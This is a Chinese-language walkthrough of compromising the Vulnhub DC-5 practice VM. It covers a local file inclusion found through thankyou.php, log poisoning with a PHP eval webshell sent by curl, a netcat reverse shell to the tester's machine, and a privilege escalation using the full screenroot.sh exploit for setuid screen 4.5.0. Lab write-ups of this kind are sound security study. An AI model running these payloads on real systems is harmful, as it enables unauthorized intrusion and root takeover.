Vulnhub DC-5靶机渗透
信息搜集
老样子,先找到靶机IP和扫描靶机
nmap -sP 192.168.146.0/24 #找靶机ip
nmap -sS -Pn -A 192.168.146.141 #扫描端口

这次开的是80、111端口,而不是22端口。
查一下rpcbind是什么。
rpcbind是一个RPC服务,主要是在nfs共享时候负责通知客户端,服务器的nfs端口号的。简单理解RPC就是一个中介服务。
尝试使用下面链接的方法收集信息,发现不可行。
https://medium.com/@Kan1shka9/hacklab-vulnix-walkthrough-b2b71534c0eb

直接访问web网站,扫描目录没什么发现。
但是contact us处,重复提交后有个很细微的变化。

再提交一次。

可以看到Copyright后的年份是不同的,这就很奇怪了。
猜测thankyou.php可能是包含了某个页面。fuzz一下,找到了正确的参数file参数,一下就找到了LFI(本地文件包含)漏洞。
getFlag
上面已经说找到了本地文件包含漏洞,那么我们就来利用一下。

直接伪协议走一波读thankyou.php的源码看看。
http://192.168.146.142/thankyou.php?file=php://filter/read=convert.base64-encode/resource=thankyou.php

base64解密一下,果然是直接include了一个文件。

现在就有思路了:include包含文件,会将文件内容当作php代码解析,那么就可以直接包含日志文件getshell。
但是这里要注意一点:如果使用浏览器直接构造的PHP一句话中,其中的特殊字符会被浏览器进行URL转义,导致无法getshell。

所以这里我们可以选择curl,或者直接抓包修改上传
curl -v "http://192.168.146.142/thankyou.php?file=<?php @eval($_POST\[A1oe\]);?>"或者

访问http://192.168.146.142/thankyou.php?file=/var/log/nginx/access.log

很好看来是解析了,直接蚁剑连上。


为了后续方便提权,反弹一个shell
nc 192.168.146.131 4444 -c /bin/bash

非交互式shell很难用,所以为了方便转换为交互式shell(可以得知该靶机装有python环境)
python -c 'import pty; pty.spawn("/bin/bash")'
接下来就该提权了,尝试使用suid提权。
find / -perm -u=s -type f 2>/dev/null

然后大概搜一下不大了解的命令,搜到screen命令时,可以看到它可以执行shell。

然后从这里入手,searchsploit直接搜一下有没有现成的利用工具。

看一眼这个sh脚本
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshellr
流程很简单,使用libhax.c生成一个动态链接库,再用rootshell.c生成一个获取权限的文件rootshell。然后用umask命令用来设置新建文件权限为777,然后就可以使用screen来提权了。
将这个脚本直接上传来执行,发现执行不了。

看来只能试试手动执行了。(libhax.c和rootshell.c上面的代码中有)
root@kali:~# vi libhax.c
root@kali:~# gcc -fPIC -shared -ldl -o libhax.so libhax.c
root@kali:~# vi rootshell.c
root@kali:~# gcc -o rootshell rootshell.c
上传libhax.so和rootshell到靶机。(蚁剑直接拖进去或者nc传输文件)然后按照shell脚本中的顺序执行命令即可。


成功getFlag
总结
本次玩靶机,学习了泄露rpcbind信息的方法(虽然无法利用)。还有就是温习了下LFI漏洞,学习了下suid提权下的screen提权。其他基本都是老套路了。
Vulnhub DC-5靶机渗透的更多相关文章
- DC 1-3 靶机渗透
DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...
- Vulnhub DC-1靶机渗透学习
前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...
- VulnHub CengBox2靶机渗透
本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...
- VulnHub PowerGrid 1.0.1靶机渗透
本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...
- Vulnhub靶机渗透 -- DC5
信息收集 通过nmap搜索到IP为:192.168.200.11 开启了80http.111RPC服务端口 先打开网页,然后进行目录爆破 contact.php 攻击 经搜索没有发现可以攻击wheel ...
- Vulnhub DC-9靶机渗透
信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.147 #扫描端口等信息 22端口过滤,80端口开放,同样的从80端口入手. 不是现成 ...
- Vulnhub靶机渗透 -- DC6
信息收集 开启了22ssh和80http端口 ssh可以想到的是爆破,又或者是可以在靶机上找到相应的靶机用户信息进行登录,首先看一下网站信息 结果发现打开ip地址,却显示找不到此网站 但是可以发现地址 ...
- vulnhub-DC:2靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...
- vulnhub-DC:1靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...
- vulnhub-DC:3靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...
随机推荐
- express第三方中间件研究之bodyParser中间件
转载至:http://www.cnblogs.com/lianer/p/5178693.html 接触nodejs已有一段时间了,但最近才开始落实项目,于是使用express应用生成器生成了一个应用. ...
- LeetCode43,一题让你学会高精度算法
本文始发于个人公众号:TechFlow,原创不易,求个关注 今天是LeetCode系列第22篇文章,今天讲的内容是高精度算法. 今天和大家讨论的算法是高精度,对应的LeetCode是第43题.题面其实 ...
- 采用最简单的方式在ASP.NET Core应用中实现认证、登录和注销
在安全领域,认证和授权是两个重要的主题.认证是安全体系的第一道屏障,是守护整个应用或者服务的第一道大门.当访问者请求进入的时候,认证体系通过验证对方的提供凭证确定其真实身份.认证体系只有在证实了访问者 ...
- DRF之APIView源码简析
一. 安装djangorestframework 安装的方式有以下三种,注意,模块就叫djangorestframework. 方式一:pip3 install djangorestframework ...
- ML-Agents(三)3DBall例子
ML-Agents(三)3DBall例子 前一周忙着公司的考试,都没有怎么学新的,今天补上~ 之后的记录,我准备先只研究官方的示例,主要是把研究过程中的疑惑和想法记下来.首先我先补充一下如何利用GPU ...
- SFDC 401 最新考试真题
上周通过了SFDC 401 考试,一下是对考试题的回忆. 1. Using a formula field how would a developer calculate the number of ...
- vue - Babel之babel-polyfill、babel-runtime、transform-runtime
引言 babel默认只转换新的 JavaScript 语法,比如箭头函数.扩展运算(spread). 不转换新的 API,例如Iterator.Generator.Set.Maps.Proxy.Ref ...
- prometheus远程写参数优化
一.概述 prometheus可以通过远程存储来解决自身存储的瓶颈,所以其提供了远程存储接口,并可以通过过配置文件进行配置(prometheus.yml).一般情况下我们使用其默认的配置参数,但是为了 ...
- Flutter 实现整个App变为灰色
在Flutter中实现整个App变为灰色是非常简单的,只需要在最外层的控件上包裹ColorFiltered,用法如下: @override Widget build(BuildContext cont ...
- SpringCloud服务的注册发现--------consul实现服务与发现
1,consul也可以替代Eureka实现注册和发现的功能,即注册中心. 之前在linux环境通过consul + upsync + nginx 实现nginx 的动态负载均衡 https://www ...